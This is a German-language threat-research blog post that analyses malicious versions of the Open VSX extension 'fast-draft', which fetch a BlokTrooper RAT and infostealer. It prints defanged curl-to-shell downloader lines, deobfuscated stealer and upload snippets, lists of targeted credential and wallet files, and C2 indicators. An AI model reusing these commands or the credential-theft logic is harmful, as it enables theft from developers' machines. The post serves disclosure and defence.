Aikido

Fast-Draft-Open-VSX-Erweiterung von BlokTrooper kompromittiert

Verfasst von
Raphael Silva

Der KhangNghiem/Schnellentwurf Erweiterung, aufgeführt unter open-vsx.org/extension/KhangNghiem/fast-draft und hat mittlerweile mehr als 26.000 Downloads verzeichnet; es gab mehrere schädliche Versionen, die einen auf GitHub gehosteten Downloader ausführen und eine RAT der zweiten Stufe sowie einen Infostealer aus dem BlokTrooper/extension-Repository abrufen. Die bestätigten schädlichen Versionen in der von uns untersuchten Versionsreihe sind 0.10.89, 0.10.105, 0.10.106, und 0.10.112.

Das Besondere an diesem Fall ist, dass die böswilligen Veröffentlichungen nicht kontinuierlich erfolgen. Versionen bis 0.10.88 sauber aussehen. 0.10.111 sieht ebenfalls unbedenklich aus, obwohl sie zwischen schädlichen Versionen und der neuesten Open-VSX-Version vom 17.03.2026 liegt, 0.10.135… enthält auch nicht denselben Loader. Dieses wechselnde Muster lässt sich nur schwer damit vereinbaren, dass ein Betreuer absichtlich Malware verbreitet. Wahrscheinlicher ist, dass der Herausgeber kompromittiert wurde oder ein Token gestohlen wurde.

Stand: 17.03.2026, der Eintrag zur Open VSX API unter open-vsx.org/api/KhangNghiem/fast-draft Listen 0.10.135 als aktuellste Version und verzeichnet insgesamt 26.594 Downloads für die Erweiterung. Wir haben den Fehler dem Betreuer am 12.03.2026 über ein GitHub-Ticket gemeldet github.com/khangnghiem/fast-draft/issues/565, das zum Zeitpunkt der Erstellung dieses Artikels noch offen war und keine Kommentare enthielt.

Was geschah

Wenn man sich die Versionszeichenfolge der Reihe nach ansieht, ergibt sich folgendes Bild:

  • 0.10.88: Sieht sauber aus. Es ist kein Downloader-Pfad bekannt.
  • 0.10.89: Bösartig. Fügt bei der Initialisierung des Editors einen auf GitHub gehosteten Shell-Downloader ein.
  • 0.10.105: Bösartig. Versetzt den Loader in den Startmodus und fügt einen einmaligen Schutzmechanismus hinzu.
  • 0.10.106: Bösartig. Derselbe Startloader, jedoch wurde die Schutzfunktion entfernt.
  • 0.10.111: Sauberer Erscheinungsbild. Der bekannte Download-Pfad verschwindet.
  • 0.10.112: Bösartig. Der Startup-Downloader ist wieder da.
  • 0,10,129–135: Sauber aussehend. Aktuellste geprüfte Versionen, bekannter Downloader fehlt.

Das ist nicht das Veröffentlichungsmuster, das man von einem einzelnen kompromittierten Build oder einem Maintainer erwarten würde, der vollständig auf böswilliges Verhalten umgeschwenkt ist. Es sieht eher so aus, als gäbe es zwei konkurrierende Veröffentlichungsstränge, die dieselbe Publisher-Identität nutzen.

So verlief der Angriff

Die schädlichen Versionen nutzen alle denselben grundlegenden Trick: Die Erweiterung greift auf raw[.]githubusercontent[.]com/BlokTrooper/extension und leitet die Antwort direkt in eine Shell weiter.

In 0.10.89Die Erweiterung ruft plattformspezifische Skripte aus dem Verzeichnis „scripts/“ des Repositorys ab:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

In 0.10.105, 0.10.106, und 0.10.112, wird dieselbe Idee als icons/${platform} Das Abrufen und die Verknüpfung mit der Aktivierung der Erweiterung dienten wahrscheinlich auch dazu, einer Erkennung zu entgehen.

Diese Plattformskripte laden dann ZIP-Archive herunter, entpacken sie in ein temporäres Verzeichnis und führen eine mitgelieferte Node-Binärdatei mit einer verschleierten temporären Nutzlast aus. Diese Nutzlast haben wir bereits in einer separaten Analyse auseinandergenommen. Es handelt sich nicht um einen harmlosen Test-Stub. Sie setzt vier parallele Module ein:

  • Eine Socket.IO-RAT mit Steuerung von Maus, Tastatur, Screenshots und Zwischenablage
  • Ein Browser- und Wallet-Stealer, der es auf gespeicherte Passwörter, Webdaten und 25 Krypto-Wallet-Erweiterungen abgesehen hat
  • Ein Modul zur Datenexfiltration, das Dokumente, Schlüssel, Konfigurationsdateien, Quellcode und secrets rekursiv hochlädt
  • Ein Zwischenablage-Monitor, der kopierte Inhalte an die C2 zurücksendet

Die Infrastruktur besteht aus derselben BlokTrooper-/Extension-Chain, die wir zuvor entschlüsselt haben, wobei die Konfigurationswerte auf 195.201.104.53und aktive Ports 6931, 6936, und 6939.

Der entscheidende Beweis

Die bösartige 0.10.112 Der Build stellt die Startaktivierung und den Raw-GitHub-Downloader wieder her:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

Die aktuellste eincheckte, fehlerfreie Version, 0.10.135, zeigt nicht denselben Pfad an. Seine Aktivierungslogik registriert den Editor-Anbieter und andere Erweiterungskomponenten, aber der BlokTrooper-Downloader fehlt.

Dieser Unterschied ist wichtiger als das allgemeine Rauschen statischer Scanner. In diesem Fall war eine manuelle Überprüfung jeder einzelnen Version erforderlich, da die sauberen Builds nach wie vor die normale Prozessausführung und Integrationen von KI-Anbietern enthalten, die bei zu simplen Regeln verdächtig wirken können.

Was die zweite Stufe eigentlich bewirkt

In der zweiten Phase verwandelt sich dieser verdächtige Downloader in eine vollständige Kompromittierung.

Die äußere temp Der Wrapper rekonstruiert die C2-Adresse aus fest codierten IP-Oktetten und unterdrückt Laufzeitfehler mit process.on('uncaughtException', ()=>{})und startet vier separate untergeordnete Node-Prozesse mit node -eMit anderen Worten: Die Erweiterung lädt nicht nur eine Nutzlast herunter, sondern ein kleines Angriffs-Framework, das sich in separate, parallel laufende Aufgaben aufteilt.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

Das stammt direkt aus dem entschleierten Wrapper und zeigt, dass der Betreiber Abstürze verschleiert, indem er IP-Zeichenfolgen aus Konfigurationsfeldern neu generiert, anstatt sie als Klartext zu speichern.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

Dies ist der Kontrollpunkt der Key Stage 2: Ein Startskript startet vier separate In-Memory-Module und trennt sie voneinander, sodass sie im Hintergrund unabhängig voneinander weiterlaufen können.

Modul 1: Remote-Desktop-RAT

Der erste Kindprozess stellt erneut eine Verbindung zu http://195[.]201[.]104[.]53:6931 über Socket.IO und stellt einen vollständigen Fernsteuerungskanal bereit.

Es unterstützt Befehle für:

  • Mausbewegungen, Klicks und Scrollen
  • Tastendrücke und Tastenkombinationen
  • Screenshots mit JPEG-Komprimierung
  • Lese- und Schreibzugriffe auf die Zwischenablage
  • Abfrage der Bildschirmgröße
  • Systemprofilierung und Sitzungssteuerung

Die in der ZIP-Datei enthaltenen Abhängigkeiten entsprechen genau diesen Funktionen:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

Abhängigkeiten allein reichen nicht aus, um böswilliges Verhalten nachzuweisen. In diesem Fall sind sie jedoch von Bedeutung, da sie mit der bereits entschlüsselten Modulstruktur übereinstimmen: Fernsteuerung über Socket.IO, Desktop-Aufzeichnung, Bildverarbeitung, Zugriff auf die Zwischenablage sowie vollständige Automatisierung von Tastatur und Maus.

Die Nutzlast prüft zudem, ob sie in einer VM ausgeführt wird, indem sie nach Zeichenfolgen wie VMware, VirtualBox, qemu, kvm, und xen in plattformspezifischen Systeminformationen. Es hält nicht an, wenn es eine VM findet. Es kennzeichnet lediglich den Host und fährt fort. Außerdem hält es eine Singleton-PID-Sperre unter ~/.npm/ damit nicht mehrere Instanzen auf demselben Rechner laufen.

Modul 2: Diebstahl von Browser- und Wallet-Daten

Der zweite Kindprozess durchsucht die Browserprofile von Chrome, Edge, Brave, Opera und LT Browser unter macOS, Linux und Windows. Für jedes Profil stiehlt er:

  • Anmeldedaten
  • Anmeldedaten für das Konto
  • Webdaten
  • LevelDB-Zustand aus Wallet-Erweiterungen

Die Auswahl der betroffenen Wallets ist breit gefächert und nicht zufällig. Die fest programmierte Liste umfasst unter anderem MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo und CoinStats. Unter macOS erfasst sie zudem ~/Library/Keychains/login.keychain.

Die Daten werden unter ~/npm-cache/__tmp__/cldbs/ und hochgeladen auf http://195[.]201[.]104[.]53:6936/upload. Nach dem ersten Durchlauf fragt der Stealer etwa alle 100 Sekunden nach neuen LevelDB-Dateien ab, was bedeutet, dass er darauf ausgelegt ist, Änderungen des Wallet-Status im Laufe der Zeit zu erfassen, anstatt nur einen einmaligen Blitzangriff durchzuführen.

Eine neue Dekodierung der Stufe 2 verschafft uns einen klareren Einblick in das Modul zum Diebstahl von Browserdaten. Es legt die IDs der Wallet-Erweiterungen fest und durchläuft anschließend die Browser-Profildaten, die Anmeldedatenbanken und den durch LevelDB unterstützten Status der Erweiterungen:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

In demselben dekodierten Blob werden diese Pfadkonstanten aufgelöst zu /Anmeldedaten, /Anmeldedaten für das Konto, /Webdaten, und /Lokale Erweiterungs-Einstellungen/, während der Hochladende FormData, fs.createReadStream, /cldbs, und /Hochladen.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Modul 3: Diebstahl von Dokumenten und Geheimnissen

Der dritte Kindprozess durchsucht das Home-Verzeichnis – oder unter Windows alle Laufwerke – rekursiv nach sensiblen Dateien. Zu den Suchmustern gehören:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • gängige Bildformate

Auch die Ausschlussliste ist aufschlussreich. Sie lässt laute Pfade wie node_modules, .git, dist, und erstellen, überspringt aber auch ausdrücklich Ordner wie .Windsurfen, .pearai, .claude, .cursor, .Brownie, und openzeppelin. Das lässt darauf schließen, dass der Angreifer nicht einfach wahllos Dateien stiehlt. Er weiß, dass Entwicklerrechner, Krypto-Tools und KI-gestützte Programmierumgebungen besonders wertvolle Ziele sind.

Die entschlüsselten Zeichenfolgen zum Dateidiebstahl geben eindeutig an, was erfasst und was übersprungen wird:

const u = [".github", "*.env*", ".sqlite", "*.csv", „*.pdf“, ".zsh_history", ".ssh", „.pub-cache“, „.vscode“];
"node_modules", ".brownie", "AppData", „*.docx“, „.cursor“, ".claude", „openzeppelin“, „.windsurf“

Dies ist speziell auf Entwickler-Workstations, Quellcode-Verzeichnisse, Schlüsselmaterial, Shell-Verlaufsdaten und wichtige lokale Zustände aus modernen Programmierumgebungen zugeschnitten.

Modul 4: Überwachung der Zwischenablage

Der vierte Kindprozess fragt alle paar Sekunden die Zwischenablage ab und wartet, bis sich der Inhalt stabilisiert hat, bevor er ihn an den C2 übermittelt.

  • Unter macOS wird Folgendes verwendet pbpaste
  • Unter Windows wird eine Shell aufgerufen, die powershell -NoProfile -NonInteractive Get-Clipboard
  • Unter Linux greift es auf Clipboardy

Der geänderte Inhalt der Zwischenablage wird an /api/service/makelog, was bedeutet, dass kopierte Seed-Phrasen, Passwörter, API-Schlüssel und Wiederherstellungscodes abgezogen werden können, selbst wenn sie nie auf die Festplatte geschrieben werden.

Der dekodierte String-Blob des Clipboard-Moduls ist ungewöhnlich direkt:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard",„child_process“,„http://“

Diese Zeichenfolgen befinden sich gemeinsam im Code der Zwischenablage der Stufe 2 und entsprechen dem zuvor bei der Entschleierung beobachteten Verhalten: plattformspezifische Erfassung der Zwischenablage, gefolgt von der Übermittlung an den Protokollierungspfad des Betreibers.

„Clean Gap“ ist wichtig

Gerade diese sauberen Versionen machen diesen Fall zu einem Fall, den man als möglichen Kompromiss des Herausgebers betrachten sollte und nicht einfach als „eine außer Kontrolle geratene Erweiterung“.

Wir haben dies manuell überprüft 0.10.88, 0.10.111, und 0,10,129–135 hinsichtlich der konkreten Anzeichen, die in den schädlichen Builds vorhanden sind:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • die vom Startlader verwendete fd.onlyOncePlease-Sicherung
  • socket.io-client
  • /Hochladen
  • /cldbs
  • pbpaste
  • Get-Clipboard

Diese bekannten Indikatoren fehlten in den auf den ersten Blick harmlos wirkenden Versionen, und ihr Aktivierungsablauf ähnelte eher einer normalen Erweiterung-Registrierung als einem Downloader. Das ist besonders wichtig für 0.10.111, das genau zwischen bösartigen 0.10.106 und 0.10.112, und für 0.10.135, die derzeit die aktuellste Version von Open VSX ist.

Würde der Betreuer die Malware wissentlich verbreiten, bliebe die Versionshistorie höchstwahrscheinlich bis zur Entdeckung oder Bereinigung weiterhin schädlich. Stattdessen beobachten wir, dass schädliche Versionen erscheinen und wieder verschwinden, während das öffentliche Problem ungelöst bleibt. Dies passt zu einem gestohlenen Veröffentlichungszugang oder einer anderen Kompromittierung des Veröffentlichungsprozesses.

Kompromittierungsindikatoren

  • Erweiterungs-ID: KhangNghiem.fast-draft
  • Schädliche Versionen: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Host der Stufe 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • C2-IP: 195.201.104.53
  • Ports: 6931, 6936, 6939
  • Exfiltrationspfade: /upload, /cldbs, /api/service/makelog

Teilen:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Abonnieren Sie Bedrohungs-News.

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten
Prüfen Sie, ob Sie gefährdet sind

Überprüfen Sie Ihre Abhängigkeiten auf schädliche Pakete

Jetzt starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.